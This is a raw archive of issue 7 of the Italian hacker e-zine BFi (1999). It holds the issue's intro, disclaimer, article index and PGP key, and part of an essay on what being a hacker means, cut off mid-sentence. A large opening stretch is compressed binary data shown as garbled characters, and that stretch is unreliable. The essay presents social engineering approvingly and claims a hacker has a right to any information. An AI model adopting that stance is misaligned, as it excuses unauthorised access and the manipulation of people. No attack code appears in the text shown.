BFi-7/ 40777 1750 144 0 7031247056 10673 5ustar smasterusersBFi-7/snip.tgz100777 1750 144 32770 7031215137 12516 0ustar smasterusers͵6} |TŵݻMH/@@"!ɆID$5MwBWZU)Q5hhT>EmHw{7}߯ Νsf̜93sF0|`|S1̛GCե|zisυ9 ?:[xn :m0:7?~R\6ku훨cNjjWs?m|HM 3xn} RPߐWu첲e+t orRJWH]WYkjlvOIIC+K9ًxhl|pꂒ<]V]PVqV޹qwۡ v+h:Wj Sge4=SygUs"[55vGΊ,#:o-w᩷j0 =ֺ* .'ehS樶9nB"t N@1,PSlF0!]U|9:jFxmoWIXH 9 o5:[ )X&υ.{*nuvhAe0ǡYou8Qmh.Yw ،F[5(5AoT:YMXm>rzA'Ad,(Rwۭ nEYw _m7*ž5Y BOpM U0@b,bk@Bt8A}uVYB/; ZhIYҾzH5o\P2O/GX+U?vSK5JiXVIN *oXYvMEpv1>GeWI%1aeUr)%&/:Ab#s)\ݨ?2b;0]oM6ddYz..rӺc NLJП<+zà z9.Aȣzy <YiuʔNx\;5}^G[ZoHLo%.fbK֝D׸_mmsL;/Lbrk{O>ㆂqpw~-S<##\Kd發`&inGCI҃\Gu`$!Ւ9*_sB* Hx.9_r6H/1釸/ :|f"O9A ۡkJ^HutCN?,v2>/ %J>0J4};dc>#@\%6bnx@H A@&A+o 6X_~l7LbPlyr i&3X 7({Xe,e bAG6`&%Zo1 ݍb!L^oZ%=(W 8х9"+=6-+zU4L\+ݮrdBV OcdJ%hD1q߉.;TmI)7)" 攇۸⿘gϰ{AO_9#4є&w/m'D|;a -&O[0! Ҋa6o',`daxKf'@A0wgF{ D/c؋E=ARqkdI`2p%$-d+v?NZ67ƃ]//7(܏sHhCYP>&s?hIPWr-M,zFŸ+:e\`X$Ua{!CT=t0ri5Pŀ3V`oscA]0ʏ8ەu}Dq#1XJN.*- hs2˥_*4` 4#mCfZ\#XĶe°;>K0r(Rs+ɧږq&f8ƞn1i}`;lͦ[t(:Y1Ųc6 =Al `v dys @VOy"L̸ޠg+HӤ\`T#}tªmnPO&&tapLĂKz\U9Hd\ DC$Gx;@Bpon?#EZBz`<=/0fz^`9LrW'Cr0V tӝZ2=r+.I3K@@8q9^"A[C;WrߣGRmto&iAcfrj2@5r9YgTO0-dLapAXejjL2R\bn(eT` |X^ +_]}crLU'p#\f2/&z\zTN.6&FQ^zYcؘh{2pMj`o d*"!̊Q FRA'rZ5_n#?mFtBV(BMF",e!oLn.N]g5AzzS Ģ(_csǁAa l6pgX\mf#"N,76 X&Pתv d'bO9y"@Ty f.dPZ@(P(`DETQ (k z2HZBSe$=_ #jrc3Fxڀgz@E՟0e!l2BN.0dXjd+XQbw8mV.M30+Q:c.]]ybabkXl2u\L7xMFPK/ #˃/ebixYa( Lxrt>U2NbG0 33!PQ `}S椲MK35 Fɳ=Pc6~DviISA>_l4&EACW X7wW =]:Bj/4^oV37,O ΓWAHv>U*cŢWo= tfs&=J4|ݞ/jegrn]3f`rڊKMf1I"]Na" #;Lhڒ+yB`%?`A9n#Ѓz*H{e<؁kѪk2!Yp凍v:㣆5X{<+QvP vȟU?@oōO`{Rd;{႓q%e@&Ean5Bωeqh?W2A[Y8./ gw?d>TٻYUE^O[\[J)XύRHQtn2d]8EFw~ %J[íYkM+7'=f8Xm!\{ybQ?=s S(6jp!k [? nBFۋd04cYF%E{a{([A*Ѯ|-ar'@XGF Յ&lqA >l Jx dXfL>c[eU:ŀVfUY{`2]jyҍQVblbY){ZKFRB K/lC7]{bT¨rPX5;b[@e3G̅u@vеŰi2)lD`rs0`o:B\ǩ5 KzʞXڀ=?v<5%1C;%|/-`B!^ɂ]`/'Pbc~">d_.\|pOQ7V4;Z'axd!A)c9w=Y> CW|{eɻz _|Cs?O[|Kzw~dcHV<}lؖ/=40}q5ko\`K{x}~zoZͱoL6zN]'C ܁-G=r#dߓ{wHT+#YnB<1ߥGgY2Ak@Z|?1O 3SMbv-lO|_y9Zr+PtuOtN0Ro>8goA`O2@yz[i٪WNmL/w8>l07xFi7oR"ct\F`ωʡx>5B\^ƽEtF3Ka*C|&A= RcM)s y!qJk* 3(fƽkvϐ'e) vg_ӆ "|a/-R"h3=C횲ذkJ*SȟYȘeF'dz\]SZ X BGF ] ϒH-;~6Xi%!( '9B,4_b` up0u/63JD%9̗Ȭ(k΄O0z>w8Jz#؊SdBhgw^. l(TX'/VdeIfÄ b|8ͽK`siEm,+z1Zx;I4O[3x/ P8ٿH5F۟A#/m"/4ׁ_>8N.|b5JJ4Z-G eK.kɲ@S.#o0OT% $+N-R"t(gX(Fۃ)#ZBJXBalJnfA%ɍ2`^֋'יc\:î #0Dsl1Қ0aIke"Bu2jA"z%T%7&asLxF^UcP-uϑR"׏oҖ+Gz@}9^ї ;tqzY Jԗ_ r/lM f6nM>)x anlڏ"Dm)#/"QEBgT,̳N[[? ID$b_Lq{;aG f$|;ii&%N \un2Bu'jX*sRǡ};_ =4xؙ =*ع,2ma]ˍ蟠٨iZ:OdK cK0}YY[G_y\rY|a˾VUM\p!骳:PB"ύ:~fdo vdLk ñ_9A_86*ꆯA"yS쎛mՠHiHI%_e/3D]Dp IԳ%1&G &p&.1ј8"&.1qxb@:p:S’}J\wJםXHEJL}Q M!!I w>EfP(ԦDƑ `ߋ@N.0D)M@:1bMX0)!Ń?C`8fG`IF+Dg XXWc p*da eU#?D`{ 0i9!($ ",fP~ׁG`d% ,$mtŶZlzRF ߋ5?'6Nw%,EsCc(~ n:@ xvH)ʠWW#WE`)vj5T߄!k،ZXc J؅V6*Ctu'5!P ]@fG`? Q8q!tr5݂@3~@# M.6c؂BlbhV +eh0hv8~@,^ n'`'. |<)8 `b"p؇C(:a~2D.{A5bŊ&0<#}Q@߀>&yjM* 1 zU/#ҟ=?*2u???GG"g#"D࿍FG 31)##W"W#E࿏G_OD'#S#߈ߌOGoEoGDFF-"p~l)J"z'QD\K0Swd23b Egfrfi`#w0ȣLyYL:)f)!%z3I4|P]R_NV Z]D1/juwL%51Nп,5$A>uU#AݦĘ(MG4W"Pr>VeybH3%qjTC6#CF1jԐA#1A4Jw &j!+J8N 9%laZz:"@r!d~O0g~<- Q 'F9.@f;.+.-6TZ78!-7xe @RPWRR\B,n`umlT 2 jZel*k\6[:gXH,TiH? X'3@*_5qlH+ Z]  6nEUm#j 7 @5uw-ĿoC&]T5VUnRYpSYX\_V  N+@VX^"T k=:p L *@:lZa 2U[:mNdXk ԰lYYVaI^vaNy@喒*S"7*Wۜ찪*i @9JUZ*_5aK"!􏈨QHRYSR\XyyE@vaAnvY VIc8(&`P{m)Q* 2/UJcƳqPcm*PjCTbQw{0l.Tԅ 0g2{=殬Y6XÉPX N,8,=7+vԢ gvk6mwQ`]4䤖R篹ť)9Dh#5u֍n uU nV (j v` ΛAo4@364 PΘR 5 N7#x'x}k_0TVnw: %TVU8Ienlo rHe~ab3*˲UJ3R=lV"3>E9S8C5zRغ9Q3iov6HBZ8x(mzVmtJq]6 ΨScɰ( k1C€:CD 0n&i0![0w0)waM`խޱI}n bAqk_3~߹u| O.S<9ƙAd'(-E8Չ0űE8-dlY-]>c kqYP[ZckazckBq@-u/8J,S)]8U"jߛ䶱ax?XJʥW\*B_طoePw1~(N֛A<@tiDҩo?7 A@ٵcz_dk?E*2.n514酈*'SꪵB`ń)Jbu.x^ 1UuV(jM=ZE~Hy,[~b,:n9YV:,rL{,d?J%`}jJIDI 簸f,Jmڋa9_j/&ʮeC`龋jBm/y@~881!n?DE m8-}:O b_m_H$[!aJ'stWs cK?)P{U"IHSz׽_W) hծQx,E#\RC_TW} ǿݡvo9'lx!F: \K?:^ ^A{ ،hY@;kB>'݄5{<ЮB͞HP.…PjE) R榤ͩsRRϊ#)-uK k5zZݵ$zH̄.eSPXN`k( R rR!E dVZGD)YY )?6bҽlgk2vulcUo4cT:Sú} 9j^1h+c/^U:c7vVate@WF7"nyݵ2jFWs Vyd51c4Tѡ' Cg  6ޛ@yp 66Val rJ-at`drFF t_B3uG!. WvBr> Wv!\pe_•Q/+m3|U V#GE#1=)ߡ՛wH3%is}0y@>yY"?/j~uX +_.<0#P%>|~gg,]d ?33 䉺:LD7F3kD}gTͺg(^3]g>w6x]HJXU5,SHKp *rcs(Vf|#UV\RW[YI˩o!5NWRpVTUDI JˀQKRkPBs fH9oQz+('F5OD&*I;,Ҟ GQ;ۡ&vTπ|A)2cC_U?i?OM?|+n ~r1^s_>{o齇LDXn} ,_rm ^|| cM cPIp.7^gayXWz]?F)bCʐrCn !7ܐrCn !7ܐrCn !7ܐrCn !7ܐrCn /n1BFi-7/BFi07-01100777 1750 144 16050 7031215622 11757 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 1 di 22 ]------------- ============================================================================== -[ DiSCLAiMER ]--------------------------------------------------------------- Tutto il materiale contenuto in BFi ha fini eslusivamente informativi ed educativi. Gli autori di BFi non si riterranno in alcun modo responsabili per danni perpetrati a cose o persone causati dall'uso di codice, programmi, informazioni, tecniche contenuti all'interno della rivista. BFi e' libero e autonomo mezzo di espressione; come noi autori siamo liberi di scrivere BFi, tu sei libero di continuare a leggere oppure di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati e/o dal modo in cui lo sono, * interrompi immediatamente la lettura e cancella questi file dal tuo computer * . Proseguendo tu, lettore, ti assumi ogni genere di responsabilita' per l'uso che farai delle informazioni contenute in BFi. Si vieta il posting di BFi in newsgroup e la diffusione di *parti* della rivista: distribuite BFi nella sua forma integrale ed originale. ------------------------------------------------------------------------------ -[ iNDiCE ]------------------------------------------------------------------- ---[ iNTR0 BFi07-01 01 smaster ---[ C0LUMNS BFi07-02 ETiCA: ESSERE HACKER V. Capello BFi07-03 ETiCA: P0LiTiCA AZiENDALE ... Nello|Z BFi07-04 NEWS Berry&Cava&FuZ&sikurezza BFi07-05 MAiLB0X Cavallo ---[ HACKiNG BFi07-06 FiLTRiAM0 iL NETFiLTER |scacco| BFi07-07 NETBi0S - NAME SERViCE pIGpEN BFi07-08 SP00FiNG & SP00FiNG DETECTi0N ViA LKM pIGpEN BFi07-09 G0RK pIGpEN BFi07-10 PR0GETT0 GiRiNGiR0 - PARTE I FuSyS BFi07-11 HACKiNG SPiCCi0L0 FuSyS BFi07-12 B0CK vecna BFi07-13 UNDERC0VER W0RK dashie ---[ CRYPT0GRAPHY BFi07-14 VLV-CRYPT v1.0b Valvoline BFi07-15 CRiTT0GRAFiA SPiCCi0LA Kobaiashi ---[ PHREAKiNG BFi07-16 GSM MiSCELLANE0US E.Draven BFi07-17 CARD, CARDiNG? N0! - PARTE I RigoR MorteM ---[ CRACKiNG BFi07-18 WiNAMP REVERSiNG .+Ma. ---[ MiSCELLANE0US BFi07-19 CHA0S C0MMUNiCATi0N CAMP del0&FuZ&Koba&Nello|z BFi07-20 L'HACKER E iL MAGiSTRAT0 ... BBerry&\sPIRIT\ BFi07-21 SEQUESTRi Di C0MPUTER G. Livraghi BFi07-22 ST0RiA Di UN P0RTALE MUTANTE Ferry Byte ------------------------------------------------------------------------------ -[ iNTR0 ]-------------------------------------------------------------------- ---[ 01 - smaster BFi#6 Giugno '99 - BFi#7 Dicembre '99 ... Scusateci! Sei mesi trascorsi senza nuove uscite di BFi rappresentano un nostro record negativo che vedremo di non ripetere ne' battere. Tuttavia sappiate che questo spaventoso ritardo nell'uscita del nuovo numero della rivista non e' dovuto al nostro disinteresse, ma al solo fatto di avere pochissimo tempo a disposizione tra studio, lavoro e vari problemi interni al gruppo (tuttora non completamente risolti). Il settimo numero di BFi si presenta in una rinnovata veste grafica ed una divisione in piu' file che speriamo agevolino e rendano piu' immediata la lettura della rivista; sono inoltre presenti vari articoli di nuovi collaboratori. Mi preme segnalarvi la recente nascita di http://www.sikurezza.org, progetto ideato e mantenuto dai volenterosi Kobaiashi e Nello|Z che mantengono una delle piu' interessanti e promettenti mailing list italiane incentrata sulla discussione di argomenti riguardanti la sicurezza informatica. Per maggiori informazioni leggete l'articolo pubblicato nella sezione news ed iscrivetevi. A Settembre si' e' verificato anche uno spiacevole episodio... due sconosciuti personaggi hanno sostituito la pagina iniziale del sito http://www.michieli.it/ con una in cui ringraziavano BFi per aver ispirato il gesto. Ricordo a questi che BFi non promuove l'hacking inteso come danneggiamento o modifica di dati altrui, ma piuttosto riflessione e ricerca delle debolezze dei sistemi informatici. Ascoltatemi: vi dimostrerete piu' capaci codando un buon tool che bucando un serverino mal protetto. CRESCETE! Un ultimo appunto: prego chi scrive un articolo per BFi di non distribuirlo assolutamente prima dell'uscita della rivista perche' gradiremmo sempre pubblicare materiale inedito... Questa volta qualcuno ha gia' diffuso in forma piu' o meno pubblica il suo pezzo... amen... ma che non si ripeta ok? ;) Concludo qui perche' l'alcool degli innumerevoli vini bevuti nel corso del pranzo natalizio inizia a farsi prepotentemente sentire =) Vi auguro un buon Natale ed un felice y2k bug... e il primo gennaio del 2000 ricordatevi di checkate http://www.s0ftpj.org : una sorpresa vi attende! smaster ------------------------------------------------------------------------------ -[ REDAZi0NE ]---------------------------------------------------------------- Black Berry - Valerio "Elf Qrin" Capello - Cavallo - dashie - del0rean Eric Draven - Ferry Byte - FuSyS - Kobaiashi - Giancarlo Livraghi .+Ma. - Nello|Z - pIGpEN - RigoR MorteM - |scacco| - smaster \sPIRIT\ - Valvoline - vecna -[ WEB ]---------------------------------------------------------------------- http://www.s0ftpj.org/bfi/ http://bfi.itapac.net http://bfi.voyanet.org http://www.ecn.org/zero/bfi/ -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== ---------------------------------[ EOF 1/22 ]--------------------------------- ==============================================================================BFi-7/BFi07-02100777 1750 144 114617 7031215206 12006 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 2 di 22 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ ETiCA: ESSERE HACKER - Valerio Capello ESSERE HACKER sul significato di essere hacker by Valerio "Elf Qrin" Capello (http://www.thepentagon.com/valcap) Copyright (C) 1999 Valerio Capello Date: 31AUG1999-09SEP1999 "Ma avete mai, nelle vostra psicologia da tre soldi e nel vostro tecnocervello del 1950, guardato oltre gli occhi dell'hacker? Vi siete mai chiesti cosa lo fa spuntare, quali forze lo condizionano, cosa ha potuto formarlo? Io sono un Hacker, entrate nel mio mondo..." ("La coscienza di un Hacker", The Mentor) "Non li temete dunque; perche' non c'e' niente di nascosto che non debba essere scoperto, ne' di occulto che non debba essere conosciuto" (Matteo 10:26) L'HACKER Un altro sprovveduto e' finito dentro per aver commesso una stupidaggine con troppa leggerezza. Le forze dell'ordine ci tengono a fare bella figura, la notizia diventa di pubblico dominio. La stampa si scatena. "Catturato terrorista informatico", o meglio "un hacker". Ma chi e' in realta' un hacker? Il termine e' abusato, spesso e' solo sinonimo di "pirata informatico". Pochi, anche tra quanti si definiscono tali, sanno veramente cosa voglia dire "essere un hacker". Il WWWebster Online Dictionary (http://www.m-w.com/), alla voce "hacker" riporta: Voce: hacker Pronuncia: 'ha-k&r Funzione: sostantivo Datazione: Quattordicesimo secolo 1 : Uno che hackera 2 : Persona che non ha esperienza o capacita' in una particolare attivita' "un hacker del tennis" 3 : Esperto della programmazione e nel risolvere problemi con un computer 4 : Persona che guadagna illegalmente l'accesso e qualche volta manomette le informazioni in un sistema informatico Tra i vari significati proposti (a parte il senso 1, che e' abbastanza ovvio...), il 4 e' quello che generalmente corrisponde all'idea dell'hacker che ha la gente comune, mentre il 3 e' quello che piu' si avvicina al concetto vero e proprio di hacker, per quanto sia piuttosto limitativo. Ricorrere al vocabolario difficilmente fornisce una risposta adeguata, ma e' sempre un buon punto di partenza. Per una definizione piu' precisa, consultiamo un dizionario specifico, come il Jargon File (http://p.ulh.as/jargon/), il piu' prestigioso dizionario di terminologia hacker, un "esauriente compendio del gergo degli hacker, che fa luce su vari aspetti della tradizione, del folklore e dell'humor hackeristico", iniziato da Raphael Finkel all'universita' di Stanford nel 1975, e passato poi in gestione a Don Woods del MIT, fino a vedere la luce della carta stampata nel 1983, con il titolo di "The Hacker's Dictionary" (Harper & Row CN 1082, ISBN 0-06-091082-8, noto nell'ambiente come "Steele-1983"). L'on-line hacker Jargon File, version 2.9.10, 01 JUL 1992 (parte del Project Gutenberg), alla voce "hacker" riporta: :hacker: [originariamente, qualcuno che realizzava del mobilio con un'ascia] sostantivo 1. Persona che prova piacere nell'esplorare i dettagli dei sistemi programmabili e come estendere le loro capacita', in opposizione alla maggior parte degli utenti, che preferiscono imparare solo il minimo necessario. 2. Uno che programma entusiasticamente (perfino ossessivamente) o che prova piacere nel programmare piuttosto che limitarsi a teorizzare sulla programmazione. 3. Una persona capace di apprezzare (la qualita' di un hack). 4. Una persona abile a programmare rapidamente. 5. Un esperto di un particolare programma, o uno che ci lavora frequentemente; come "un hacker di UNIX". (Le definizioni da 1 a 5 sono correlate, e le persone che rientrano in queste categorie possono venire riunite.) 6. Un esperto o un entusiasta di qualunque tipo. Uno potrebbe essere un hacker dell'astronomia, per esempio. 7. Uno che prova piacere nella sfida intellettuale di scavalcare o aggirare creativamente dei limiti. 8. (spregiativo) Un ficcanaso maligno che tenta di scoprire informazioni delicate frugando qua e la'. Da cui derivano "password hacker", "network hacker". Vedi {cracker} Trattandosi di un dizionario specifico, la definizione di hacker e' qui molto piu' aderente alla realta', anche se bisogna estrapolarla tra i vari significati proposti, per avere un'idea il piu' fedele possibile. Sicuramente un hacker e' una persona che ama studiare a fondo i sistemi (senso 1), soprattutto nei dettagli apparentemente piu' insignificanti, per scoprirne peculiarita' nascoste, nuove caratteristiche e debolezze. Per rendere l'idea, e' possibile "hackerare" un libro utilizzandolo per pareggiare le gambe di un tavolo, o utilizzare il bordo affilato di una pagina per tagliare qualcosa. L'importante e' andare oltre la sua funzione "convenzionale" di leggerlo. Ma non solo: un hacker impara presto che le stesse tecniche utilizzate per forzare i sistemi informatici possono essere sfruttate per "manipolare" le persone. E' il cosiddetto social hacking. In qualche modo, con un po' di abile psicologia, i maestri del social hacking possono convincere le persone a fare quello che vogliono (almeno entro certi limiti... dipende dalle capacita' dei singoli), e a ottenere da loro le informazioni di cui hanno bisogno. Detto cosi' puo' sembrare una cosa terribile, ma e' quello che normalmente fanno fidanzate, amici, professori e quant'altro, anche se gli hacker lo fanno coscientemente e con un po' piu' di tecnica. Un altro modo di portare l'hacking al di fuori del mondo del computer, e' il cosiddetto vadding (il termine e' in realta' poco usato, ma l'attivita' e' largamente praticata) che consiste nell'esplorare posti dove le persone comuni normalmente non hanno accesso, come scantinati o tetti di edifici pubblici, condotti di manutenzione, pozzi dell'ascensore, e posti simili. Insomma, un hacker tende a usare le sua capacita' anche al di fuori del contesto informatico, e ovunque tende a usare le tecniche di hacking e scoprire quanto normalmente e' nascosto all'uomo comune. La capacita' di ragionare e di sfruttare il proprio cervello viene prima di ogni altra cosa. Per un hacker e' importante mantenere la mente efficiente ai massimi livelli. Con le dovute eccezioni, e' difficile che un hacker fumi, faccia uso di droghe, o beva in modo esagerato (comunque tra le bevande alcoliche la birra e' nettamente preferita alle altre). Parlando di John Draper (in arte "Captain Crunch", uno degli phreaker/hacker piu' leggendari, celebre per aver scoperto che inviando un tono di 2600Hz sulla linea telefonica della AT&T era possibile effettuare chiamate gratuite), Steven Levy dice: "Le sigarette lo rendevano violento": fumare vicino a lui era ancora piu' dannoso per la salute... Un hacker e' senz'altro un maniaco della programmazione (senso 2): una volta messa a punto la tecnica, e' necessario scrivere un programma che la sfrutti. Spesso gli hacker passano tutto il giorno e tutta la notte davanti al computer, programmando o comunque sperimentando nuove tecniche. Passando cosi' tante ore davanti un hacker aquista una notevole abilita' nell'analizzare rapidamente grosse quantita' di dati. La capacita' di programmare rapidamente (senso 4) puo' essere una caratteristica di un hacker, ma non necessariamente: per quanto un hacker sia sicuramente molto piu' veloce a scrivere sulla tastiera, rispetto alla gente comune, molti passano parecchio tempo a riflettere o analizzare altro codice scritto in precedenza mentre programmano. Il senso 5 e' in effetti una restrizione del significato di hacker in quanto lo limita a un unico campo (come UNIX), puo' pero' essere considerato una specializzazione. In realta' in questi casi, soprattutto quando si tratta di veri esperti nel settore, si preferisce usare i termini wizard ("mago") o guru ("santone"). Per esempio, la definizione "UNIX wizard" negli Stati Uniti e' riconosciuta anche al di fuori dell'ambiente hacker e puo' venire inclusa nel proprio curriculum. Il senso 3 puo' essere considerato un po' un caso a parte: una persona che rientri in questa definizione non sarebbe un hacker vero e proprio, ma una persona sicuramente molto esperta e con buone conoscenze pero' non in grado di sviluppare delle tecniche hacker. Per chiarire meglio il discorso, provate a pensare alla differenza che passa tra uno scienziato e un divulgatore scientifico (come Piero Angela). Il senso 7, insieme all'1, sono quelli che piu' incarnano l'essenza dell'hacker: studiare un sistema, scoprirne debolezze, peculiarita' e caratteristiche nascoste, e utilizzarle per scavalcare o aggirare i limiti imposti o intrinsechi, con creativita' e fantasia, il che per certi versi ci porta direttamente al senso 8: chi ha tali capacita' puo' usare le sue conoscenze per tentare ad accedere informazioni alle quali non ha diritto, e qui il discorso si complica, perche' per un hacker non ci sono informazioni alle quali non ha diritto di accedere, tornemo sul discorso piu' tardi, quando tratteremo l'"etica hacker". Infine, sebbene non rientri nell'identificazione del personaggio dell'hacker, vorrei attirare l'attenzione sul senso 6: per un hacker, il termine "hacker" e' sempre positivo: quindi se si parla di un "hacker dell'astronomia" si parla di un vero esperto in materia. Al contrario, nel lingaggio comune, secondo il senso 2 del WWWebster dictionary, un "hacker" in un certo campo e' una persona che non ha grandi capacita' in quel determinato campo. Dopo aver fornito le definizioni, il Jargon File fornisce ulteriori informazioni sul significato della parola "hacker": Il termine "hacker" tende anche a connotare l'appartenenza ad una comunita' globale [...]. Implica anche che la persona in questione sottoscriva in qualche modo l'etica hacker [...] E' meglio essere descritti come hacker da qualcun altro, piuttosto che descriversi come tali da soli. Gli hackers considerano se' stessi qualcosa come un elite (una meritocrazia basata sull'abilita'), ma i nuovi membri sono graditi benvenuti. C'e' quindi una certa autosoddisfazione nell'identificarsi come hacker, ma se affermi di esserlo e non lo sei, sarai prontamente etichettato come "bogus" [...] [o piu' comunemente, il termine piu' utilizzato in questi casi e' "lamer"] Ma quello che forse piu' di ogni altra cosa contraddistingue il vero hacker e' la curiosita', unita ad un intelligenza molto al di sopra della norma. L'hacker ha un bisogno quasi fisico di conoscenza, di qualunque genere. L'hacker e' un lettore assolutamente onnivoro, anche se predilige argomenti scientifici o fantascientifici, e generalmente nella sua stanza ci sono interi scaffali di libri. Ma un hacker non si accontenta della "pappa pronta", delle informazioni che trova sui libri destinati alle persone comuni. Un hacker deve arrivare fino in fondo, deve ottenere tutta l'informazione possibile. Le scuole sono istituzioni che non sono capaci di fornire tutta l'informazione di cui un hacker ha bisogno. I governi e tutte le istituzioni pubbliche o private tendono a fornire il minimo indispensabile di informazione. A questo proposito, Steven Levy in "Hackers, Heroes of the Computer Revolution" ("Hackers, Eroi della Rivoluzione Informatica", del 1984), afferma che gli hacker sono "posseduti non da mera curiosita', ma da una assoluta *lussuria di sapere*". Il concetto e' ancora piu' chiaro in questi spezzoni tratti da quello che e' un po' considerato come "il manifesto dell'hacker": "The Conscience of a Hacker" ("La coscienza di un Hacker", a volte erroneamente riferito, in un senso quasi profetico, come "Mentor's Last Words" o "Le ultime parole di Mentor"), scritto da The Mentor l'8 Gennaio 1986, e pubblicato per la prima volta sull'e-zine Phrack, Volume One, Issue 7, Phile 3 (una traduzione italiana e' apparsa su The Black Page - Numero 1, Settembre 1995 - Articolo 0, che differisce leggermente dalla versione qui da me proposta): [...] Siamo stati imboccati con cibo per neonati a scuola quando avevamo fame di bistecca... i pezzettini di carne che avete lasciato cadere erano pre-masticati e senza sapore. Siamo stati dominati da sadici, o ignorati dagli apatici. I pochi che avevavo qualcosa da insegnarci ci hanno visto come alunni volenterosi, ma questi pochi sono come gocce d'acqua nel deserto. [...] Noi esploriamo... e voi ci chiamate criminali. Noi cerchiamo la conoscenza... e voi ci chiamate criminali. Noi esistiamo senza colore della pelle, senza nazionalita', senza pregiudizi religiosi... e voi ci chiamate criminali. Voi costruite bombe atomiche, voi fate la guerra, voi uccidete, imbrogliate, e ci mentite e tentate di farci credere che e' per il nostro bene, eppure siamo noi i criminali. Si', sono un criminale. Il mio crimine e' la curiosita'. Il mio crimine e' quello di giudicare la gente in base a quello che pensa e dice, non per come appare. Il mio crimine e' di essere piu' furbo di voi, una cosa che non potrete mai perdonarmi. [...] In queste parole, molto toccanti per pressoche' qualunque vero hacker (anche se risulta molto difficile pensare ad un hacker come a una persona che ha un "cuore" oltre che un cervello) c'e' tutta la frustrazione di vivere in un mondo imperfetto, livellato verso il basso, che priva di informazione e risorse chi vuole elevarsi al di sopra della media, conoscere quanto e' tenuto nascosto, e li condanna ipocritamente come criminali. Ma la ricerca quasi disperata della conoscenza e' solo una delle caratteristiche dell'hacker. Un'altra e' sicuramente la ricerca della perfezione estrema. Un interessantissimo articolo che narra la storia dei primissimi hacker, e di come questi svilupparono "Spacewar!" (il primo videogioco della storia, nato come programma dimostrativo per il TX-0 che sfruttasse le caratteristiche di tale computer in modo estremo), e' "L'origine di Spacewar", scritto da J. M. Graetz, e pubblicato nell'edizione Agosto 1981 della rivista Creative Computing. Una delle forze che guidano i veri hacker e' la ricerca dell'eleganza. Non e' sufficiente scrivere programmi che funzionino. Devono anche essere "eleganti," nel codice o nel modo in cui funzionano -- in entrambi, se possibile. Un programma elegante compie il suo lavoro il piu' velocemente possibile, o e' il piu' compatto possibile, o e' il piu' intelligente possibile nell'avvantaggiarsi di particolari caratteristiche della macchina su cui gira, e (infine) mostra i suoi risultati in una forma esteticamente piacevole senza compromettere i risultati o le operazioni di altri programmi associati. Ma non sempre l'eleganza e la perfezione degli hacker sono comprensibili per l'uomo comune. Spesso un hacker puo' andare in estasi leggendo del codice scritto da un altro hacker, ammirandone l'abilita' e "gustandone" lo stile, come se leggesse una poesia. Per esempio, normalmente per scambiare il contenuto di due variabili (a e b, in questo caso), l'istruzione piu' comunemente usata e' questa, che utilizza una terza variabile temporanea: dummy = a : a = b : b = dummy Il metodo seguente, invece, non ha bisogno della terza variabile, perche' sfrutta una particolarita' matematica dell'operazione dell'algebra booleana XOR: a = a XOR b : b = a XOR b : a = a XOR b Anche se questo sistema e' almeno tre volte piu' lento del primo perche' richiede l'esecuzione di tre operazioni matematiche (permette pero' di risparmiare la memoria che occuperebbe la terza variabile), un hacker non puo' non ammirare la genialita' e l'eleganza della trovata, che assume il gusto di un haiku giapponese. A proposito del perfezionismo degli hacker, in "Hackers: Eroi della rivoluzione informatica" ("Hackers: Heroes of the Computer Revolution") scritto da Steven Levy nel 1984. Nel capitolo 2 ("The Hacker Ethic"), leggiamo: Gli hacker credono che lezioni essenziali possano essere apprese dai sistemi -- a proposito del mondo -- dallo smontare le cose, vedere come funzionano, e utilizzare questa conoscenza per creare cose nuove e perfino piu' interessanti. Sono irritati da qualunque persona, barriera fisica, o legge che li prevenga dal fare questo. Questo e' vero specialmente quando un hacker vuole aggiustare qualcosa che (dal suo punto di vista) e' rotto o debba essere migliorato. I sistemi imperfetti fanno infuriare gli hacker, il cui istinto primordiale e' di correggerli. Questa e' una ragione per la quale gli hacker odiano guidare le macchine -- il sistema di luci rosse programmate a caso e strade a senso unico disposte in modo singolare causa rallentamenti che sono cosi' dannatamente INNECESSARI da provocare l'impulso di risistemare i cartelli, aprire le scatole di controllo dei semafori . . . ridisegnare l'intero sistema. In un mondo hacker perfetto, chiunque seccato abbastanza da aprire una scatola di controllo vicino a un semaforo e manipolarla per farla funzionare meglio sarebbe assolutamente bene accetto. E' proprio in base a tale principio che sono stati sviluppati il sistema operativo Linux, e il compilatore GNU C, il cui codice e' aperto e disponibile alla modifica e alle aggiunte da parte di chiunque. Ultimamente anche importanti produttori commerciali si stanno muovendo in questa direzione, come Netscape: Netscape Communicator 5 sara' in effetti il primo software originariamente nato come prodotto commerciale "chiuso", ad essere sviluppato con questo tipo di filosofia. Un hacker non si accontenta delle impostazioni standard fornite da un programma o delle installazioni "custom", deve sempre aprire il menu di 